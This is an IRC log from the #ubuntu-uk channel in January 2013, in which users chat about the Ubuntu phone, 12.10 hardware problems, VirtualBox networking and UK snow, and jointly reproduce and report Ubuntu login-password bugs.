<directhex> but what windows phone 7/8 does right, that say the n9 did awfully, is google is a first class citizen
<directhex> calendar, mail, etc - on n900 using google calendar was hell
<ali1234> it worked for me
<ali1234> it did until they shut off exchange support anyway
<directhex> i just gave up & went back to android within an hour of using an n900
<ali1234> mail never really worked properly cos of my huge mailboxes
<directhex> n9 lasted a couple of weeks before i gave up
<ali1234> well yes, android is significantly better than anything else if you use all google services
 * popey played with the ubuntu phone in the bar last night
<popey> was fun
<ali1234> but that is only to be expected
<ali1234> i'm sure the ubuntu fone will work very well with ubuntuone email, if sucha thing ever exists
<popey> shame it's running on a galaxy nexus
<ali1234> the problem is everyone has gmail
<shauno> and gizmodo didn't steal it?
<popey> write an email app âº
<ali1234> you mean it doesn't have one??!?
<popey> not today
<ali1234> *facepalm*
<popey> it doesnt ship today though
<popey> there's loads of apps it doesnt have
<popey> lots of opportunity there
<ali1234> that's not an opportunity
<dwatkins> ...not tomorrow, but soon...
<ali1234> i mean presumably there is an opportunity to write a contact syncing app
<Azelphur> hmm, any reason not to wash an old USB trackball with water?
<ali1234> except we don't know how it will sync contacts
<Azelphur> it needs some TLC XD
<ali1234> but if it launches without this stuff... it's gonna fail
<popey> the launch is way off
<ubuntubhoy> remember any OEM that takes this will also put their developers on app creation
<popey> plenty of time for someone to write some apps
<popey> they will?
<ali1234> there better be a sync connector API by MWC
<popey> why?
<ubuntubhoy> popey: directed at me ?
<ali1234> because if there isn't everyone will just point and laugh at you
<ubuntubhoy> if so, just look at all the OEM's who use android - how many supply AOSP
<popey> We'll see :0
<directhex> ubuntu phone's lead time right now is insane. this is a market where an exec needs no longer than 6 weeks from announcing "we need a new phone, it must be PURPLE and SIXTEEN CORE and have a MIPS processor" before hardware has landed in every phone shop in the world
<dwatkins> MIPS just got bought out
<AlanBell> I am a bit confused by the API stuff for the phone, it doesn't seem very phoneish
<ali1234> and yes, the phone vendors will set there developers on it... they'll want to completely reskin the UI
<ali1234> to work like their android phones
<AlanBell> worst possible thing that could be done /o\
<ali1234> the HTC guy will be like "how do we port sense to this?"
<dwatkins> I have an HTC phone, and I'm having to look HTC Sense up because it's run Cyanogenmod for so long.
<AlanBell> I am running CM10 on my Galaxy S2 now
<ali1234> then the carriers will want their branding all over it
<ali1234> and their own app store
<dwatkins> sadly my Desire HD only runs up to CM7.
<AlanBell> I might go for firefoxOS at some point
<ali1234> android is too good
<ali1234> i don't know why anyone wouldn't like it
<AlanBell> I am an outlier
<AlanBell> I don't like phones much
<ali1234> i will run ubuntu phone
<AlanBell> scares me when it rings
<ali1234> but i fully expect it to be painful, like running linux was 7 years ago
<ali1234> where android users laugh at me because nothing works properly
<dwatkins> if it's as open as Ubuntu, the modding community will love it
<dwatkins> a colleague complained about my linux vmware server the other day, I think he'd tried to use it once on a day it was still being setup - it hasn't been rebooted since then, and has worked flawlessly
<dwatkins> admittedly, it's running vmware 2.0, but it's as solid as something rather rock-like
 * AlanBell installs the firefoxOS simulator
<dwatkins> I wanted something with a web-based interface, even if I have to use *spit* IE in order to run the console browser plugin
<ubuntubhoy> AlanBell: why not just build it for your S2 and dual boot ?
<ali1234> cos it isn't finished?
<ubuntubhoy> but it builds and kind of runs
<ubuntubhoy> and will dual boot with Siyah kernel
<AlanBell> interesting
<ubuntubhoy> very easy to build
<ubuntubhoy> even built on my netbook
#ubuntu-uk 2013-01-17
<knightwise> mornin
<dwatkins> loes
<knightwise> morning dwatkins
<meet> what is gambas2-runtime?
<directhex> gambas is a visual basic clone
<directhex> that package is required files for a gambas app to run
<diplo> Morning all
<knightwise> hey diplo
<daftykins> mornin'
<daftykins> my dogs are loonies http://www.youtube.com/watch?feature=player_embedded&v=LpN5xwYnyj8
<daftykins> watch the older one, he gets zero traction on that tiled floor and so the puppy a tenth his age drags him around it :>
<diplo> heh daftykins, love when dogs do stuff like that
<brobostigon> good morning everyone,
<Azelphur> Potentially controversial question here, but has anyone noticed that 12.10 is terrible?
<Azelphur> Every device I've installed it on has had deal breaking issues, mostly not even booting o.O
<knightwise> Azelphur:  ?
<knightwise> realy , On what devices ?
<Azelphur> knightwise: two PC's, one I built X wouldn't start after driver install, another just plain wouldn't boot at all (that's one of those cheap ebuyer zoostorm things)
<Azelphur> and on my laptop (Lenovo S205) X only starts intermittently, and nm-applet doesn't work properly (half the time it doesn't show any of the connection options, only enable / disable wifi) and I've seen this on multiple other peoples laptops too.
<Azelphur> I don't usually join the "zomg this version sucks" camp, but it literally seems like every machine I try has major issues, was just wondering if anyone else was experiencing that
<knightwise> Now I know i"ve also had some issues on my pc running an ATI card , mostly regarding dual screen
<knightwise> i'm currently running 12.10 on a last gen macbook air and its perfect.
<Azelphur> knightwise: yea, all my "X won't start" woes have been on ATI machines
<knightwise> Azelphur: I am however dreading to reinstall it on this machine. Did quite a few tweaks and tricks to get it running just right.
<Azelphur> knightwise: yea, that's why I'm avoiding it on my PC :(
<knightwise> and since i'm dual booting i'm now running out of space for my home directory .. so I am seriously thinking about nuking OSX on this machine
<Azelphur> fun :)
<knightwise> yeah . I did an upgrade from 12.04 to 12.10 on the machine and it kinda just works pretty well
<knightwise> ironic since this is a mac
<jpds> Azelphur: No problems here.
<jpds> Azelphur: Sounds like E_USER_ERROR.
<Azelphur> jpds: hard to user error a completely fresh install ;)
<Azelphur> but yea, guess it just hates me
<knightwise> Azelphur: :( I feel your pain
<jpds> Azelphur: Buy some certified hardware.
<knightwise> thats rediculous
<Azelphur> I usually custom build, it's cheaper and you get better bang for buck.
<knightwise> Ubuntu should not require "certified" hardare
<knightwise> thats not what linux is all about
<jpds> knightwise: Disagree, how are you suppose to know what's been QA and tested and sure to work?
<jpds> knightwise: And thus fully supportable?
<knightwise> thats true... but please no "built for ubuntu" stickers ! :)
<knightwise> sounds to windwowzzz-ee
<jpds> I quite like the orange "Ubuntu Certified" label on my laptop.
<jpds> Azelphur: OK, keep using failing hardware. ;-)
<Azelphur> jpds: it's hardly failing, the performance is probably 10x what you have :)
<Azelphur> and yea, knightwise++
<jpds> Azelphur: My Thinkpad X230?
<jpds> Azelphur: No.
<Azelphur> HD Graphics 3000 xD
<Azelphur> yes.
<knightwise> BUt a thinkpad .. of all things , should be certified.
<jpds> Azelphur: Actually, it's the 4000.
<Azelphur> still, vs a 7970
<Azelphur> there will be floor wiping, lots of it.
<Azelphur> and what you got in there, some mobile i7?
<Azelphur> you really think that's gonna compete with a high end sandy?
<Azelphur> or ivy?
<jpds> Heh.
<Azelphur> I think most of my problems are related to newer ati cards not being supported so well yet, apart from the network-manager issue *shrug*
<Azelphur> everything I had issues with was new builds on high end AMD cards, so could explain it I guess
<davmor2> Morning all
<brobostigon> morning davmor2
<darrenF> s
<DJones> Morning all
<knightwise> question. i've dual booted my macbook Air with OSX and Ubuntu and the drive is getting a little cramped
<knightwise> so i'm thinking of removing OSX alltogether and just leaving Ubuntu on it.
<knightwise> could I do this using A live USB stick and Gparted ?
<jonnymac> Hi guys
<jonnymac> Anyone here got experience with webmin? I'm having difficulty finding out what  address to give so that one of my users can log on
<jpds> Well, don't use webmin.
<knightwise> should be https://ip.of.your.server:10000
<knightwise> jpds: be nice !
<jpds> !webmin | knightwise
<lubotu3> knightwise: webmin is no longer supported in Debian and Ubuntu. It is not compatible with the way that Ubuntu packages handle configuration files, and is likely to cause unexpected issues with your system.
<jpds> knightwise: I am being nice, I'm preventing them from bricking their box.
<knightwise> Webmin bricks your box ?
 * knightwise didnt know that
<jpds> knightwise: Potentially.
<knightwise> i stand corrected
<ali1234> webmin was replaced by something new wasn't it?
<dwatkins> swat?
<dwatkins> oh, that's just Samba, ignore me
<davmor2> ali1234:  it was ebox but I think that has changed it's name now
<davmor2> ali1234: http://www.zentyal.org/ I think this is what it is now
<AlanBell> that isn't the same thing at all
<AlanBell> webmin is more like cpanel I think
<davmor2> AlanBell: Zentyal is a similar thing to webmin in that it controls services and gives a nice web gui to do it in, zentyal is aimed more squarely at SMB though where the guy that knows the most about computers gets to admin the server too
<NET||abuse>  /join #jquery
<Laney> snooooooooooooooooooow stay away until later
<Laney> got to bike a few miles to the climbing centre :(
 * Laney smacks google's apt repo
<davmor2> morning popey
<popey> yo
 * Laney wibbles
<davmor2> popey: oh god 4 days in the states and you think your 'merican
<Laney> he's wearing a backwards baseball cap
<Laney> i saw it
<popey> you shizzle
<popey> or something
<davmor2> popey: next you'll be out back firing guns till your neck gets tanned ;)
<popey> yeeeee haw
<meet> for a little while I tried the login without password option from the user account settings. But now i am unable to revert back to the original. On clicking the ask for password on next login it makes me create a new password. I don't want that
<popey> meet: is it configured in /etc/lightdm/lightdm.conf
<meet> popey: http://dpaste.com/881143/
<meet> popey: what changes do i make there?
<popey> hmm, maybe not
<meet> so what maybe the problem?
<davmor2> meet: you have to create a password but you can use the same one I think or have you tried that
<GRS> hello?
<GRS> anybodt here?
<daftykins> yes
<daftykins> fail.
<ubuntubhoy> lol
<meet> davmor2: ya i tried that. that option does not allow me to keep a password less than 8 chars..and actually i don't need that long
<daftykins> meet: long pass that much of a hardship?
<meet> daftykins: i infact prefer no password. but then the keyring not unlocking problem crops up. moreover if from the root shell i am able to setup a 4 characters long password i don't understand why here it asking for that length?
<daftykins> well it's the common disparity between CLI utility and GUI utility
<daftykins> but ja, i see your point on the keyring hassle
<davmor2> meet: it is trying to establish what a sensible security password is for users that have no clue
<meet> infact.. i even tried the solution of not keeping any password for the keyring.. but still at times the error showed up and that time there was noway to unlock the keyring as blank is not accepted.
<ali1234> the trick is "sudo passwd <user>"
<ali1234> it will warn you about weak passwords
<ali1234> but since you are root, it will let you use them anyway
<meet> davmor2: also when i did the set password on next login and chose a 8char password. after that entered the root shell and changed my password again. at next login i was logged in without any password and again the annoying keyring problem.
<meet> ali1234: i tried that. but at the next login i am either logged in automatically or asked to create a new password.
<ali1234> that makes no sense
<meet> ali1234: exactly
<daftykins> meet: create one that meets the criteria, then bypass it afterward?
<meet> daftykins:  i tried that. but at the next login i am either logged in automatically or asked to create a new password.
<ali1234> what do you mean "exactly"
<daftykins> ah same deal
<ali1234> it makes no sense in that what you are saying doesn't match reality
<meet> ali1234: it's happening!
<ali1234> the system does not know how long your password is unless you type it in
<ali1234> it doesn't know what your password is at all
<ali1234> if you change your password as root there is no way the system can automatically log you on
<ali1234> and it will only ask you to change the password if the existing password has expired
<meet> ali1234. at present my password is 4 chars long.
<ali1234> and ubuntu does not use password expiry by default
<popey> is it "meet"? âº
<meet> i go to the user accounts and ask it set password now.
<ali1234> do not use "user accounts"
<daftykins> popey: 'teem'
<daftykins> 8D
<ali1234> that is some ubuntu retardation
<meet> no :)
<ali1234> disable auto login
<ali1234> set password from the shell with sudo
<ali1234> check password expiry
<meet> ali1234: just a min.
<ali1234> log out and log in with your new password
<ali1234> if this doesn't work it is a bug
<meet> how to disable auto login from terminal
<meet> hope that works
<ali1234> you don't disable it from the terminal
<ali1234> you disable it however you enabled it
<ali1234> did you set it on install?
<meet> no
<ali1234> how did you set it then?
<meet> 15 min back.
<meet> from settings>user accounts
<ali1234> the default is to ask for a password on boot up
<meet> yes
<meet> from settings>user accounts
<meet> from user accounts password menu i selected do not ask for password.
<ali1234> do this
<ali1234> chage -l meet
<ali1234> what does it say?
<meet> last password change and other details
<ali1234> so does it say your password expired?
<meet> no
<meet> password expires: never
<ali1234> so there's no reason why the greeter would ask you to change your password
<ali1234> can you tell me how to reproduce this?
<ali1234> what version of ubuntu is it first?
<meet> ok
<meet> 12.10
<ali1234> 64 bit?
<meet> 32
<ali1234> hmm. well it probably doesn't matter
<ali1234> ok, so i'm going to install it in a VM...
<ali1234> hmm i don't have that iso
<ali1234> ok, downloading it, 32 bit
<ali1234> so, how did you install?
<ali1234> did you encrypt home directory or anything like that?
<meet> no
<ali1234> ok. 10 minutes until download finishes... don't go anywhere
<meet> i have a normal user account. my password is 4chars long. no big deal. eveything fine. i am asked at the login screen to enter my password. i want the login screen and do not want the password.  so I select from user accounts password: login without a password.  After some restarts at every login i am greeted with a message: keyring did not unlock. so i am like ok you can ask me password at the login screen. so i choose ask for password at next login. but i
<meet> t asks me to create a new password. and this time 4chars not allowed. Thus my 4char comfort is snatched away!
<ali1234> i see
<meet> ali1234: is it ok if i leave?
<ali1234> i suppose... :?
<meet> ok. how do know if you find a solution?
<ali1234> you'll just have to come back and ask?
<ali1234> or check the logs
<meet> ok. i am pretty sure it's a bug.
<meet> what happens when bugs are found?
<daftykins> said bug is filed
<ali1234> usually nothing :(
<daftykins> and in my experience 2 years pass
<daftykins> with nary a change
<ali1234> if you are lucky there might be an argument
<daftykins> ^ this
<meet> oh.. i thought it is fixed in the next release or something like that.
<ali1234> about who's fault it is
<daftykins> then the argument about the way it should be begins
<meet> oh.. i thought I had made some contribution to improve ubuntu :D
<daftykins> as did i
<daftykins> years ago, installing Ubuntu would detect that i'm from Guernsey
<daftykins> but it'd auto select a US keyboard instead of US
<daftykins> i filed a bug
<daftykins> 2+ years passed
<daftykins> it sat idle, couple of others agreed once
<daftykins> then about 6 releases later it was fixed
<daftykins> *shrug*
<ali1234> well it could have been worse, you could have got french
<meet> sounds like a government office.. where no one cares..
<meet> lol
<daftykins> that would've been welcome
<daftykins> i could've changed my keyboard letters over to AZERTY
<daftykins> if they weren't all blank anyway
<ali1234> oh you're one of THOSE people
<ali1234> i would make it randomly change keyboard layout if it detected on of those blank keyboards plugged in
<ali1234> ok, VM booting...
<meet> anyways. i am leaving now. thanks. bye
<ali1234> i bet isle of man doesn't give the wrong keyboard layout :(
<ali1234> ok, i set a 4 char password
<daftykins> ali1234: yeah, someone that buys a keyboard and likes to dick over their friends who come by
<shauno> that's pretty much my history with bug reports too.  2 years later, someone posted "is this still an issue?"  answer: no, we'd migrated that platform to debian 18 months prior
<davmor2> night all
<daftykins> shauno: oh dear
<BigRedS> shauno: yeah, I'm now filing bug reports in the full expectation that that's the last I'll hear about them
<BigRedS> until I rant at somebody that I can't tell which tab I'm on
<BigRedS> But it doesn't feel right to rant before I've filed the bug
<shauno> well to be fair, it was an xen issue not long after they'd announced they were throwing themselves behind kvm.  just that final reply made me sad
<ali1234> i've got a question
<ali1234> if i watch pirates of the caribbean movies in the wrong order, will it ruin it?
<shauno> if you watch the fourth one (at all, in order or not), it'll ruin everything.  other than that, I don't really think so
<dwatkins> I barely remember the plots of them.
<ali1234> shauno: because the fourth one is really bad?
<shauno> really may be an understatement
<meet> Ali1234 is it a bug?
<ali1234> don't know yet
<ali1234> it's still installing
<meet> Ok just let me know when you are done.
<ali1234> ok i am in user accounts
<ali1234> there is a slider "automatic login"
<ali1234> so i unlock it
<ali1234> move the slider to on
<ali1234> restart VM...
<meet> No
<meet> Not that slider. When you click on your password it gives you some nation's
<meet> Options*
<ali1234> "login without password" ok
<ali1234> restart VM...
<daftykins> why would it be in two places 0o
<ali1234> ok logged in without password
<ali1234> as a result, i cannot use sudo any more, because it requires me to type in a password
<meet> No try to undo that. There should be a direct option to just start asking password again as it stopped.
<ali1234> i also cannot unlock the user accounts panel
<meet> Ya
<ali1234> i can attempt t change password thoough
<ali1234> but i cannot enter 4 character password
<meet> Ya which it initially allowed
<ali1234> no, it won't let me change password
<ali1234> "change" is just grey
<meet> Ya on hovering over change it says password too short
<ali1234> when i enter a password which is "long enough" it says "you need to enter your current password" - which is blank
<ali1234> i can set password from the terminal with passwd though
<ali1234> it knows not to ask for existing password
<ali1234> however, it wants longer than 4 characters
<ali1234> so i enter a long password
<ali1234> then sudo passwd al
<ali1234> enter the long password i just set
<meet> It allowed me to enter a 4char password from the terminal
<ali1234> then enter the 4 character password
<ali1234> now restart VM
<daftykins> this is exciting
<daftykins> (genuinely)
<ali1234> and no i logged in without a password
<meet> Exactly
<ali1234> well that is messed up
<ali1234> my password is now "test"
<ali1234> i can sudo
<ali1234> when i log in i am not asked for a password
<ali1234> i am not asked to change the password
<ali1234> it's not "automatic login" because that doesn't show the greeter at all
<meet> Ya
<ali1234> and it's not "login without a password" because that sets your password blank
<ali1234> i will report this bug for you :)
<ali1234> this is severaly messed up
<ali1234> probably more than a single bug
<daftykins> daym
<ali1234> i can think of at least 3
<meet> :-) first contribution... Lol! Feels nice :-D
<daftykins> meet: if you get the bug numbers off ali1234 once he's created them, you too can watch with baited breath as they - well actually they might well fare better than our ignored ones :>
<meet> :-)
<daftykins> nn all \o
<ali1234> i should update the VM first i guess
<ali1234> hmm lots of updates
<daftykins> doh
<meet> Ok cya gud nite ali1234 daftykins
<ali1234> https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/1043349
<lubotu3> Ubuntu bug 1043349 in accountsservice (Ubuntu Quantal) "User Accounts reports wrong "Automatic Login" status when upgading from 12.04" [Undecided,In progress]
<ali1234> one already reported
<ali1234> second also already reported https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1070449
<lubotu3> Ubuntu bug 1070449 in ubiquity (Ubuntu) ""Login without password" option effectively locks super user out!" [Undecided,Confirmed]
<ali1234> confirming
<ali1234> wait, why is it against ubiquity?
<ali1234> bug 1100989
<lubotu3> bug 1100989 in lightdm (Ubuntu) "lightdm doesn't ask for password if you clear users password and then recreate it" [Undecided,New] https://launchpad.net/bugs/1100989
<ali1234> third and final bug reported
<ali1234> bugs bugs bugs
<popey> thanks ali1234
<ali1234> Popey: do you think the second and/or third should be against accountsservice?
<ali1234> i moved the ubiquity one to gnome-control-center but accountsservice might be more appropriate... but i don't know what that even is
<ali1234> Azelphur: you use XFCE and mythtv right? how do you get the XFCE panel to not cover myth-frontend?
<ali1234> maybe it is a compiz problem?
<ali1234> confirmed, it does not happen with metacity
<ali1234> i need to purge unity-team sru ppa before i can report this :(
<ali1234> https://bugs.launchpad.net/ubuntu/+source/xfce4-panel/+bug/1100999
<lubotu3> Ubuntu bug 1100999 in xfce4-panel (Ubuntu) "xfce4 panel covers myth-frontend video playback window" [Undecided,New]
<czajkowski> evening
<beatsonline> popey, How's the phone gig going ??
<beatsonline> czajkowski: Hi there ..
<popey> beatsonline: fun!
<beatsonline> Also, QUESTION :: How do capture a screenshot of certain part of the screen ??
<beatsonline> good going popey..
<popey> beatsonline: shutter
<beatsonline> popey, It would be nice to get a google plus tech. photo album of several shots of the phone .. it's good for me to put comments onto your pictures for QnA , and possible feedback .. I'd love to see that, if you possibly can, but I know it's time consuming..
<popey> i dont think we have any marketing pictures other than the ones on the site already
#ubuntu-uk 2013-01-18
<beatsonline> popey, soz, 'keep forgetting its a job, and  not a HW hack for a wiki.... next on the agenda...
<beatsonline> booking to see stallman in Feb.
<beatsonline> !Vavoom
<Azelphur> ali1234: no, I always used Mythbuntu, I switched to XBMC when I moved though
<popey> morning
<diplo> Morning all
<diplo> BigRedS: Like the look of sitecreate, will have a play over next few days
<marxjohnson> Brr! not going outside again today!
<dwatkins> cycling in was definitely a lot more difficult in the cold
<czajkowski> so much snow :(
<dwatkins> is it not a good thing, czajkowski?
<Laney> as long as it doesn't prevent my passage to the pub later
<dwatkins> I have crampons for emergencies such as that.
<czajkowski> dwatkins: no it's not
<czajkowski> it's coming down very heavy in Guildford
<TheOpenSourcerer> That's it. UK is fscked for a few days now.
<TheOpenSourcerer> Heavy in Farnham too.
 * Laney didn't feel the earthquake this morning :(
<directhex> snowmageddon!
<dwatkins> TheOpenSourcerer: no snow here in Scotland, we'll keep the deep fried mars bars and haggis flowing, don't worry
<brobostigon> good morning everyone,
<bigcalm> Ahoy ho
<bigcalm> y
<brobostigon> morning bigcalm
<bigcalm> Hi brobostigon. Do you have snow? :)
<brobostigon> bigcalm: yes, been snowing, since around 7pm yesterday.
<bigcalm> Snowed all of yesterday but only just and didn't really stick. Bit different today :)
<bigcalm> I would be having a fun snow day if I didn't work from home
<brobostigon> :(
<directhex> snowmageddon!
<bigcalm> Heh
<directhex> glad i went to tesco last night.
<directhex> well stocked on canned beans and frozen pizza.
<bigcalm> I did drive Hayley to work this morning though. I wonder what it'll be like when I need to pick her up later
<directhex> nd orange truffle baileys
<directhex> prius in snow = expensive brick
<TheOpenSourcerer> dwatkins: There's really quite a lot here. Was nothing at 07:30. Now this: https://plus.google.com/u/0/photos/instantupload/5834727968215267794
<directhex> with doors and a heater
<dwatkins> TheOpenSourcerer: I don't think I can open that link
<directhex> nor i
<directhex> it just says "ha ha no g+ for you, puny windows phone user"
<directhex> or words to that effect
<TheOpenSourcerer> https://plus.google.com/u/0/104060033182234025482/posts
<TheOpenSourcerer> Think I needed to share it.
<bigcalm> https://plus.google.com/u/1/104060033182234025482/posts/cmfMXzBeVxm
<bigcalm> TheOpenSourcerer: you did
<TheOpenSourcerer> Snow still coming down going to be knee deep by the time I have to walk to the pub.
<TheOpenSourcerer> :-D
<dwatkins> impressive
<dwatkins> at least when it's that deep it's understandable that transport might be affected
<dwatkins> when it's only a couple centimetres, we just laugh from north of the border (I'm from Reading, by the way)
<TheOpenSourcerer> Has anyone created a selectable, drop down list that uses icons instead of words for a web interface? I know the <select><option> is out. Just wondering if there is a nice way to enable a user to choose from a list of Icons?
<DJones> Ah...The joys of working from home when the snow comes down, coffee, central heating and a nice cozy office :)
<dwatkins> Last time it snowed when I lived in Reading, I drove in to work (carefully) then started getting phonecalls form people saying there were having trouble getting in - I think they were scared to drive in the snow
<czajkowski> https://plus.google.com/102921374554385564572/posts/3tSksKANgaW  Guildford snow!
<gord> pfft, even we have more snow than that
<diplo> heh it's just a covering, getting quite deep here now. Debating going home to work at lunch time
<dwatkins> We're forecast snow here in Edinburgh in the afternoon, cycling home along the canal will be amusing.
<diplo> dwatkins: I had that a couple of years ago, a dozen people phoned in saying they couldn't get in, I had driven past 11 of their houses to get to work
<diplo> :D
<dwatkins> diplo: sounds about right, yeah
<Laney> if it's cold enough you'll be able to cycle /on/ the canal!
<dwatkins> Laney: I think about that every time it even slightly freezes over :D
<dwatkins> when the snow settles on it, then I might consider that more seriously
<gord> we have exactly this much snow https://dl.dropbox.com/u/95627817/2013-01-18%2010.58.24.jpg
<daubers> Morning
<davmor2> Morning all
<davmor2> is snow settling on the main road a bad thing?
<bigcalm> Not if you work from home
 * daubers waits for code to finish scp'ing across from the office
<davmor2> by main road I mean the main one the ambulances, fire, police, buses and about 200 cars an hour use
<dwatkins> davmor2: I'd expect it to be compacted or even melted by the passage of traffic
<dwatkins> I used to live on a minor road, the snow just got compressed so was fairly slippery; I think they salt the major roads, and the warmth of the tyres should help melt all but the heaviest snow during the day
<davmor2> dwatkins: erm no the snow fall is so heavy at the moment there are just ruts where the cars drive
<dwatkins> oh right
<dwatkins> in Reading a couple years ago, they salted the roads, then it warmed up and rained, when it cooled down again, the roads ended up covered in ice
<daubers> View from my window http://ubuntuone.com/3XEi9C5C2t0m0FQDDzNtbA
<dwatkins> the salt was washed away
<davmor2> it actually looks foggy which is bizarre
<davmor2> daubers: http://ubuntuone.com/5VBad3dEViPxwhJ1vMwOY0 view from mine and the distance you can see just reduce again :D
<kvarley> Is it possible to install "Ubuntu TV" on a PC?
<kvarley> As in the TV environment and the TV guide lens
<kvarley> NVM found my answer on askubuntu
<dwatkins> davmor2: which town/city are you in, out of curiosity?
<dwatkins> http://uksnowmap.com/ is unsurprisingly very slow today
<davmor2> dwatkins: The City of Dreams
<dwatkins> a lovely place to be
<davmor2> dwatkins: overwise known as Wolverhampton
<dwatkins> aha I see, thanks
<directhex> nobody uses #uksnow anymore. now it's #snowmageddon
<davmor2> this kitty doesn't seem happy with the snowman https://twitter.com/BigCatWHF/status/292237040949538816/photo/1
<dwatkins> perhaps it's just trying to make friends with it, like Hobbes does with Calvin...
<davmor2> dwatkins: no the original comment was that it lasted about 12 seconds, you don't need friends like that :D
<Laney> yay, finally the snow has arrived in nottingham
<kvarley> Can Ubuntu TV also act as a server? So could I have an Ubuntu TV box running as a server connected to a capture card and then the rest of my Ubuntu PCs acting as clients receiving remote streams via ethernet?
<BigRedS> Anyone know what I need to do to VirtualBox to make it so my VMs can acces both my host and the Internet?
<BigRedS> I'm sure I've deduced it before, but none of the options seem to be working now
<daftykins> you have to bridge your eth0 with the vbox interfaces don't you?
<daftykins> at least to do it the way vmware does it
<BigRedS> I thought a bridged network was how I did it last time..
<BigRedS> I'll keep fiddling
<daftykins> http://codesupply.net/content/setup-bridged-networking-virtualbox-ubuntu-1110
<BigRedS> ta!
<BigRedS> Whoa. Last time I went near /etc/network/interfaces network-manager wouldn't talk to me for weeks
<daftykins> yeah it'll break with static config
<daftykins> jebus vmware is Â£170 =|
<BigRedS> yeah, I'm beginning to see NM as the common problem with virtualisation...
 * BigRedS ponders hyper-v
<daftykins> ugh the times i was involved with hyper-v i found it disgusting
<daftykins> needing a windows domain? eww.
<daftykins> it's changed a lot since then though, that was prior to server 2008 R2's release that i was using it
<BigRedS> HAha, I don't mind how filthy it is, I just want to get on with some work and stop goading virtualisation software into working
<BigRedS> Nah, I want a Debian Squeeze VM
<BigRedS> but I want to SSH into it and then let it download from the Inernet
<BigRedS> which appears to be something of an impossibility with network0-manager, and I don't have a long enough cat5 cable to switch to etherent
<daftykins> hrmm
<BigRedS> Im borrowing a VM on The Internet now :)
<BigRedS> Still, I'm sure this problem was roughly solved about four years ago and can't quite see why it's all broken now
<daftykins> i can't even imagine how you'd do it in Linux land
<daftykins> vmware on Windows, which is what i always use, has its' own taps into interfaces so it doesn't matter
<BigRedS> yeah, virt-manager set up its own bridges which worked well for a while
<BigRedS> but now n-m dislikes those and keeps disabling them
<daftykins> XD
<BigRedS> really, I want to just replace n-m with something that's aware that all it's supposed to do is connect to a wifi network and shut up
<BigRedS> I don't understand what it thinks it adds to any other interface. But my brief faffing with wpa-supplicant and friends the other day demonstrated that it's not something I can just knock up in an afternoon
<daftykins> *nods*
<daftykins> dark magic
<BigRedS> yeah, I guess there's a good reason that nobody's yet done that and we all just trot along tolerating n-m
<BigRedS> A bit tempted to just set up an unsecured  network in each of the six or seven places I tend to wantwifi
<daftykins> hehe
<davmor2> BigRedS: for me I click on the settings button â networking option â and change nat to bridge adapter then when you start up the guest it automatically fetches the new ip address from you dhcp server
<BigRedS> davmor2: yeah, that's what I thought worked, but it just didn't
<BigRedS> I'll give it another go in a bit if this router keeps crapping out
<BigRedS> Oooh, seems to work
<BigRedS> wonder how long it'll take for network manager to oppose it :)
<davmor2> BigRedS: well if you will do silly things with your network then this will happen :P  I only ever seem to have issues with NM when I'm not sat in my home for some reason :D
<BigRedS> davmor2: yeah, that's the silly thing! I've been trying to work when not at work :)
<BigRedS> I think it's just trying to enforce some relaxation or something
<BigRedS> it's like an over-concerned mother
<davmor2> hahaha
<kvarley> Can anybody recommend a good gui for scheduling commands to run at a certain time? This is a one off command, not a daily/weekly/monthly kind of thing
<dwatkins> a front-end to 'at', kvarley?
<kvarley> dwatkins: Preferably it would work with X forwarding via SSH too.
<kvarley> dwatkins: I'd be happy to use CLI too but I don't want it to be too complicated since it's only for running commands once at a certain time on a system
<dwatkins> Personally, I'd just use 'at', I don't know if there's a form-based GUI for it.
<BigRedS> at's a pretty simple syntax
<BigRedS> though a bit obscure, too
<BigRedS> basically, you do   at <time>   and hit enter
<BigRedS> and then list your commands, and hit ctrl-D
<kvarley> Can I do sudo stuff?
<BigRedS> if you have nopasswd
<BigRedS> or you just sudo at
<kvarley> I want to update and install certain packages after 6pm (when my internet tariff relaxes) on computers on my lan
<kvarley> Will it work remotely BigRedS?
<BigRedS> hm, might need to sudo su and then at
<BigRedS> remotely?
<BigRedS> you'll want to ssh onto whichever machine you want the command to run
<kvarley> Yeah as in can I login via SSH and then do at on the remote machine?
<BigRedS> yeah
<kvarley> Yeah, that's good, thanks :) BigRedS & dwatkins
<BigRedS> sshing in to a machine is basically the same as being sat in front of it
<kvarley> BigRedS: wondered if it would kill 'at' when the session ended was all
<kvarley> I did at 14:10 and added my command but it keeps getting me onto a new command line now
<kvarley> How do I say end of commands?
<Seeker`> ctrl-D
<Seeker`> as BigRedS said
<kvarley> Ah thanks sorry, missed it
<kvarley> Doesn't seem to work
<kvarley> I said for it to open gedit but nothing happens, is that cos it runs in a different shell?
<dwatkins> kvarley: you might also find 'screen' useful in general, although perhaps you already use it
<kvarley> dwatkins: I do :)
<BigRedS> you want to open gedit?
<kvarley> BigRedS: It was only for a test. I was checking it worked but then realised if I did a command line activity it does actually work
<bgstsr> OOOooo .. someone just asked me "Would you like to use a different operating system ? " ..
<BigRedS> kvarley: ahhh
<meet> i have a home network. how do i send a print to the winxp printer? ubuntu 12.10
<directhex> meet, is the printer shared, in windows?
<meet> directhex: yes
<directhex> go to the add printer dialogue, and add new network printer. it should search for & find the printer on the network
<meet> directhex: it's not finding
<meet> directhex: how do make it detect the printer?
<directhex> hm. haven't used a windows-shared printer for YEARS, i won't have up to date klnowledge
<czajkowski> /c/c
<Laney> cockatrice
 * gord picks up the cockatrice to flail it as a weapon
<Laney> you better be wearing gloves
<gord> since when have i ever done anything right in that game?
<gord> my favourite one is when you are blind and touch the cocatrice whilst just feeling your way around
<Laney> i like when you fall down a hole while holding it
<xnox> it's a sad day for me. I broke networking in kvm & I don't know how to fix it =(
<xnox> sucks when trying to work on the installer.
<czajkowski> xnox: join Laney on the naughty step
<Laney> clearly pub time anyway
<xnox> czajkowski: what did Laney do?!
<xnox> Laney: pub time or igloo time?
<Laney> nobody can remember what laney did
<czajkowski> he broke stuff in raring :)
<Laney> he's been on the step so long that he's fused to it
<czajkowski> davmor2: lives on the stop
<czajkowski> *step
<Laney> xnox: I do have to get two buses to get there ...
<popey> bug 1101338
<lubotu3> bug 1101338 in gksu (Ubuntu) "gksudo doesn't truncate long command line, so runs off the edge of the screen" [Undecided,New] https://launchpad.net/bugs/1101338
<popey> anyone fancy confirming
 * xnox wants better IRC and better email clients
<kvarley-mobile> LibreOffice 3.6.2.2 won't do spell checking on my Dads laptop, any ideas?
